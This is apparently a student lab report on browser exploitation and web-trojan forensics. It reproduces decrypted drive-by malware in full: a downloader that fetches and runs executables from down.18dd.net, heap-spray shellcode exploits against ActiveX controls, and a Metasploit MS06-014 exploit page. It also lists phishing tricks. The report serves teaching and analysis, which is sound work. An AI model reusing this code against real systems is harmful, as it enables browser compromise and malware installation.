1 实践内容
1.1 Web浏览器战争与技术发展
- 安全困境三要素:复杂性、可扩展性和连通性。
- Web浏览器安全威胁位置
- 针对传输网络的网络协议安全威胁(4、5章)
- 针对Web浏览端系统平台的安全威胁(7、9章)
- 针对Web浏览器软件及插件程序的渗透攻击威胁
- 针对互联网用户的社会工程学攻击威胁
1.2 Web浏览端的渗透攻击威胁——网页木马
-
存在的技术基础:Web浏览端安全漏洞
- 安全漏洞的存在位置多样化
- 利用除微软操作系统平台软件,其他流行应用软件中的安全漏洞,攻击时间窗口更长
- 影响范围广泛的安全漏洞被持续利用
-
网页木马的定义特性
- 网页木马是针对Web浏览端软件实施的客户端渗透攻击代码
- 绝大多数的网页木马都利用了Web浏览端的客户端脚本执行能力
- 从恶意代码技术类型进行分类,网页木马可以被归入恶意移动代码
-
网页木马的攻击是被动的,需要构造恶意代Web页面内容,并且需要植入盗号木马等恶意程序,因此,其是需要多种类型的恶意代码及网络资源。
-
其攻击技术流程:
-
木马的机理
- 本质核心——浏览器渗透攻击:不安全方法类安全漏洞、利用堆内存操纵技术
- 网页挂马机制:内嵌HTML标签(iframe,frame,body的onload事件,CSS标签中包含链接)、恶意Script脚本(通过外部引用脚本的方式包含网页木马)、内嵌对象链接(利用图片、Flash等内嵌对象中的特定方法完成页面加载)、ARP欺骗挂马。
- 混淆机制:
-
网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法:灵活多变的混淆机制以及分布式复杂的链接结构使得其失效。
- 基于统计与机器学习的静态分析方法:针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,但仍停留在外在形态层次上。
- 基于动态行为结果判定的检测分析方法:利用行为特性,构建蜜罐环境,根据在访问过程中是否发生了非预期系统变化,来判定是否挂马。
- 基于模拟浏览器环境的动态分析检测方法:以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,进行脚本解释,还原真实状态,分析检测。
-
防范措施:最根本的方法及时提升系统安全性,及时更新并安装杀毒软件。
1.3 揭开网络钓鱼的黑幕
- 技术内幕
-
案例一:在攻陷的服务器上钓鱼。攻击者在互联网是扫描并攻陷存有安全漏洞的服务器,然后在上面实施网络钓鱼攻击。过程:1)攻击者扫描网段,寻找存有漏洞的服务器。2)服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具。3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置测试工作,使得钓鱼网站上线运行。4)攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件。5)网页浏览的流量开始到达里钓鱼网站,潜在的受害者开始访问假冒的钓鱼网站内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
-
案例二:部署重定向服务搭建钓鱼攻击网络。充分利用大量被攻陷的服务器资源,部署更加复杂、更具生存性的钓鱼攻击网络。
-
技术与策略:
- 首先架设支撑钓鱼攻击的底层基础设施;
- 欺骗大量互联网用户访问钓鱼网站;
-
在指向假冒网站的链接中使用IP地址代替域名;
注册发音相似或形似的DNS域名,并在上面架设假冒网站;
在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站网浏览器,大多数HTTP链接是指向真实的往目标网站,而仅有少数的关键链接指向假冒的网站;
对假冒网站的URL进行编码和混淆。很多用户不会注意到或者理解url链接被做过什么处理,并会假设它是良性的;
企图攻击用户网络浏览器存在的漏洞,使之隐藏消息内容的实质;
将假冒的钓鱼网站配制成记录用户提交的所有数据,并进行不可察觉的日志,然后将用户重定向到真实的网站;
假设一个假冒网站作为目标机构真实网站的代理,并偷摸的记录未使用SSL加密保护的口令信息,甚至为假冒域名注册一个有效的SSL证书,从而对SSL加密保护的口令信息进行记录;
通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,然后尤其将受害者定向到假冒的钓鱼网站;
使用恶意代码去修改受害者计算机上用来维护DNS域名和IP地址映射的本地hosts文件。
- 防范措施
- 国际反网络钓鱼工作(APWG)组在2003年成立。中国在2008年也成立了反钓鱼网站联盟。
- 不轻易打开电子邮件中等即时通讯中的链接。
- 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性。
- 在线操作时重视访问网站的真实性。
- 提升抵抗社会工程学攻击的能力。
2 实践过程
2.1 Web浏览器渗透攻击实验
- 实验环境
主机 | IP |
---|---|
攻击机 Kali | 192.168.200.7 |
靶机 WinXp | 192.168.200.2 |
靶机 Win2kserver | 192.168.200.124 |
-
在攻击机上使用Metasploit中的MS06-014挂马漏洞。在kali中打开
msfconsole
,搜索MS06-014漏洞。
-
使用上述module并查看需要设置的项。
-
设置攻击机地址
set LHOST 192.168.200.7
,设置payloadset PAYLOAD windows/meterpreter/reverse_tcp
并进行攻击run
。
-
得到有木马的网址
http://192.168.200.7:8080/RtOaHs
-
在靶机上访问上述地址
-
再次回到攻击机上查看,并没有成功建立会话,后来使用另一个靶机。
-
重复上述过程,已经建立会话,攻击成功。
-
用
sessions
查看目前的连接 -
用命令
sessions 1
选择会话1,即刚才连接的会话,返回meterpreter。
-
使用
ifconfig
查看IP验证。
2.2 取证分析实践——剖析一个实际的网页木马攻击场景
- 由于网站无法访问,根据资料,应该先访问
start.html
,在引用new09.htm
没有写绝对路径,所以 new09.htm 文件与 start.html 文件在同一目录下。 new09.htm中,用 iframe 引用了一个http://aa.18dd.net/aa/kl.htm
, 又用 javascript 引用了一个http://js.users.51.la/1299644.js
。
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
- 分别做MD5散列
MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3
- 查看hashed文件中对应的文件,使用记事本打开。
- 23180a42a2ff1192150231b44ffdf3d3中的内容如下,不是我们要找的内容。
- 7f60672dcd6b5e90b6772545ee219bd3文件中的内容比较复杂,但实际上这是一种被称为 XXTEA+Base64 的加密方法。
- xxtea_decrypt函数的第二个参数就是密钥
x73x63x72x69x70x74
。 - 其使用了16进制加密,密钥是
script
。
-
四个 exe 文件,即 014.exe,bf.exe,pps.exe,bd.exe,大小相同且文件内容完全相同。
-
使用上述密钥解密后,再进行16进制解密如下。
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{ var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
- 利用到的应用程序漏洞有
- Adodb.Stream 微软数据库访问对象漏洞
- MPS.StormPlayer 暴风影音漏洞
- POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞
- BaiduBar.Tool 百度搜霸漏洞
- 这个文件还引用三个js文件和一个压缩包(bd.cab,解开后是bd.exe)。
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
- 首先看5d7e9058a857aa2abee820d5473c5fa4 ,又是用16进制加密,解开得
var url="http://down.18dd.net/bb/014.exe";
try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open ("GET",url,0);xml.Send();as.type=1;as.open();
as.write(xml.responseBody);
path="..\n tuser.com";
as.savetofile(path,2);
as.close ();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
-
前面是下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面是对ADODB漏洞的继续利用。
-
然后看3870c28cc279d457746b3796a262f166,使用packed加密,解密后:
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c "+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u331 4%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59 e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1 %uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc 6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa 75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343 %u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u330 0%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff %u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u726 9%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461% u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44 %u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u 3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=b igblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigbl ock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fill block;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="x0ax0ax0ax0a";storm.rawParse(buffer )
- 看到了shellcode,shellcode一般都不长,而它要实现很多破坏,不可能“事必亲躬”。因此 shellcode 很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,URL中必然出现的斜线“/”吧,“/”的十六进制 ASCII 码是
2f
.
- 找2f比较密集的地方,从第三个2f开始到末尾的内容,补充解密结果是:
http://down.18dd.net/bb/bf.exe
。又是一个可执行文件。 - 再看5f0b8bf0385314dbe0e5ec95e6abedc2使用八进制加密,解密后:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="x0ax0ax0ax0a"; pps.Logo = buffer
- 同样有shellcode,相同的方法得到
http://down.18dd.net/bb/pps.exe
. - 对前面出现的exe文件进行MD5散列
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
-
这四个文件在资源管理器中大小相同且文件内容完全相同。
-
使用PEiD查看可执行文件的加壳情况,发现用 Delphi 写的
-
用 W32DAsm 反汇编这个 exe 文件
-
查看字符串:
- 生成一个叫
Alletdel.bat
的批处理文件,这个文件中有一个标签叫"try", 批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。
" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist "
; - 可能在磁盘根目录下生成自动运行的文件,用户不小心时启动程序。
":AutoRun.inf","[AutoRun]open=","AutoRun.inf","shellAutocommand="
; - 要对 IE、注册表、服务和系统文件动点手脚。
"advapi32.dll", "drivers/klif.sys","program filesinternet explorerIEXPLORE.EXE","IE 执行保护", "IEXPLORE.EXE","SoftwareMicrosoftWindowsCurrentVersionPoli"), "Kernel32.dll", "SOFTWAREBorlandDelphiRTL", "ChangeServiceConfig2A", "ChangeServiceConfig2W" , "QueryServiceConfig2A","QueryServiceConfig2W"
; - 有一定的防系统保护软件的能力。
"瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行"
- 要下载木马,形如
http://down.18dd.net/kl/**.exe
的字符串共 20 个.
- 生成一个叫
总结
-
从挂马网站222.29.87.30/scom的Start.html中发现其与new09.htm在同一个文件夹下,进而发现aa/1.js,aa/b.js,aa/pps.js等文件,通过解密发现其中的shellcode等。
-
加密方法
主体 | 加密方法 |
---|---|
aa/kl.htm | 十六进制加密,XXTEA+Base64加密 |
1.js | 十六进制加密 |
b.js | 老外写的js加解密工具 |
pps.js | 八进制加密 |
3 .aa/kl.htm页面链接了4个网马。
网马 | 作用 |
---|---|
MS06-014网马 | 攻击MS06-014安全漏洞;MDAC RDS.Dataspace ActiveX控件远程代码执行漏洞 |
暴风影音网马 | 攻击CVE-2007-4816安全漏洞;暴风影音2 mps.dll组件多个缓冲区溢出漏洞 |
PPStream网马 | 攻击CVE-2007-4748安全漏洞;PPStream 堆栈溢出 |
百度搜霸网马 | 攻击CVE-2007-4105安全漏洞;百度搜霸ActiveX控件远程代码执行漏洞 |
4.网马植入的可执行文件木马;下载器为bb/014.exe,下载器进一步植入down.18dd.net、kl/0-19.exe和盗号木马。
2.3 攻防对抗实践——Web浏览器渗透攻击攻防对抗
-
之前做过ms06-014漏洞,在靶机访问metasploit里生成的链接,攻击机即可获取到会话,并且控制靶机;那么这一过程是如何实现的呢?
-
首先把靶机访问的链接的网页给保存下来,打开发现该网页为了防止被杀毒软件查杀,对关键指令做了字符串拼接处理和使用了大量的空白和间隔。
-
去除回车符和空格后,得到完网页信息:
<html>
<head>
<title></title>
<scriptlanguage="javascript">
Function xfoX(o,n)
{
varr=null;
try
{
eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")
}catch(e){}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+
"ect(n,'','')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n)")
}catch(e){}
}
return(r);
}
Function wZhxEYOIBxanPDsqLN(a)
{
var s=xfoX(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
var o=xfoX(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");
var e=s.Environment("P"+"ro"+"ce"+"ss");
var url=document.location+'/p'+'ay'+'lo'+'ad';
var xml =null;
var bin=e.Item("T"+"E"+"M"+"P")+"\EbVgvmDtFS"+".e"+"xe";
var dat; try
{
xml=new XMLHttpRequest();
}
catch(e)
{
try
{
xml = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
xml= new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml)
{
return(0);
}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0);
}
function qtEhaqCAstXJeDFTnsbKvjTmHZ()
{
var i=0;
var t=new Array('{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+''+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+
'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+''+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}'
,'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+
'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{
Var a=null;
if(t[i].substring(0,1)=='{')
{
a=document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}
else{try{a=newActiveXObject(t[i]);}
catch(e){}}
if(a)
{
try
{
Var b=xfoX(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
if(b)
{
wZhxEYOIBxanPDsqLN(a);
return(0);}
}catch(e){}}i++;}}
</script></head>
<body onload='qtEhaqCAstXJeDFTnsbKvjTmHZ()'>LaNLntSgiXgwOoRqRyAMLExLdzVMdwN
</body></html>
-
js调用了document.location加载了
payload
,并且下一行中后面跟了一个可执行文件EbVgvmDtFS.exe
,这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的。
-
打开靶机任务管理器查看正在运行的程序进行验证。发现了在网页源码中出现的可执行文件,其作用就是帮助攻击机获取靶机控制权限。
-
BD96C556-65A3-11D0-983A-00C04FC29E33
是漏洞MS06-014中的clsid
变量,也就证明这是MS06-014漏洞。
2.4 取证分析挑战实践:Web浏览器遭遇攻击
apt-get isntall chaosreader
安装chaosreader.
1.列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
chaosreader -r suspicious-time.pcap
读取文件.
- 使用
cat index.text | grep -v '"' | grep -oE "([0-9]+.){3}[0-9]+.*)" | awk '{print $4,$5,$6}' | sort | uniq -c | sort -nr
命令,并在Wireshark中查看,可以判断,攻击不是针对ICMP, Bootps, Netbios 或者 DNS 协议,应该是针对HTTP协议的。
2.列出IP地址、主机名、域名,猜测攻击场景的环境配置
- 使用
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
命令,选取之前生成的.http.html文件读取,筛选主机并列出来,看看有哪些IP地址和域名在进行攻击。
网址 | IP | 描述 |
---|---|---|
rapidshare.com.eyu32.ru | 192.168.56.50 | 攻击者可以利用它来仿冒用户的凭据 |
sploitme.com.cn | 192.168.56.52 | 不存在,名字就意味着恶意 |
shop.honeynet.sg | 192.168.56.51 | 看起来像一个知名网站的购物网站服务器 |
-
使用命令``` tshark -r suspicious-time.pcap | grep 'NB.20>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$10}' | sort -u 筛选出NBNS协议,NBNS协议的作用是基于NetBIOS名称访问的网络上提供主机名和地址映射方法,即提供主机名称.这四个不同 ip 地址的主机分别映射的主机名是相同的.
-
使用命令
tshark -r suspicious-time.pcap | grep 'NB.*1e>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
,发现四个 ip 地址的主机在同一个工作组。
-
再用wireshark打开 suspicious-time.pcap ,通过arp筛选发现,四个ip地址所对应的mac地址相同,推测这四台主机相同的或者克隆的,又因为具有四个网卡,所以猜测攻击场景的环境是VM中。
-
服务
- DHCP 服务和网关:
10.0.2.2
,10.0.3.2
,10.0.4.2
,10.0.5.2
; - DNS 服务:
192.168.1.1
.
- DHCP 服务和网关:
-
受害者:
10.0.2.15
,10.0.3.15
,10.0.4.15
,10.0.5.15
. -
模拟被侵入主机:
192.168.56.50
(rapidshare.com.eyu32.ru)、192.168.56.51 (shop.honeynet.sg). -
攻击者:
192.168.56.52
(sploitme.com.cn). -
用wireshark打开suspicious-time.pcap,按协议排序列出netbios主机名和工作组,都是一样的,也许是因为配置在虚拟机环境中。
3.列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
-
chaosreader生成的一堆页面和js脚本,寻找其中的可疑、恶意的js脚本通过Wireshark可以查看所有的访问的Web界面。
-
rapidshare.com.eyu32.ru/login.php
:打开session_0006.part_01.html,这是一个钓鱼网站,显然是恶意创建的对应的就是Rapidshare.com的高级账号(网站创立于2003年,是世界知名的文件上传下载托管服务网站)
-
sploitme.com.cn
:查看session_0007.part_02.html
-
shop.honeynet.sg/catalog/
:再查看session_0032.part_01.html
4.请给出攻击者执行攻击动作的概要描述。
- 受害者1(10.0.2.15)使用Firefox连接到Rapidshare.eyu32.ru/login.php(192.168.56.50)
- 而login.php包含sploitme.com.cn/?click=3feb5a6b2f(192.168.56.52)中的内容,该内容又被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f,其中包含一些javascript
- 返回伪造的404错误页面
根据对这种情况的分析,url很可能已经被垃圾邮件屏蔽,以便仿冒凭据。同时,使用另外的javascript来重定向到恶意网站。这就是为什么,虽然pcap中没有电子邮件通信,但这里绘制了一个电子邮件服务器。
5.攻击者引入了哪些技巧带来了困难?
- 对js脚本使用了工具进行混淆,所用工具有:
- 伪装成404页面
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<meta name="robots" content="noindex">
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php was not found on this server.</p>
<script language='JavaScript'> [some script] </script>
<noscript></noscript>
</body>
</html>
- 发现了可利用的漏洞后,会转到无害页面,不进行二次攻击。
- 内容用gzip压缩,不会以明文显示。
6.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
- 追踪TCP 142号流,可以查看到这是一个针对Windows XP系统的,主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的
7.Shellcode 执行了哪些动作?请列出 Shellcode 的 MD5,并比较它们之间的差异?
Shellcode的执行过程:Shellcode获取系统临时文件路径,加载urlmon.dll,从URLhttp://sploitme.com.cn/fg/load.php?e=1检索可执行文件并执行。Shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。
8.在攻击场景中有二进制可执行代码参与吗?目的是什么?
有。攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件这是load.php发送的Win32可执行文件,它通过Internet Explorer加载www.honeynet.org。
3 学习中遇到的问题及解决
- 在2.4实验中,想要运行材料中的命令来进行理解,但结果不同,还不知道原因;
- 在2.4实验中,查找安全漏洞,缺少py文件。
4 实践总结
虽然有教程,还是磕磕绊绊的,一知半解,感觉没有完全消化。
参考资料
- 学习资料
- 《网络攻防技术与实践》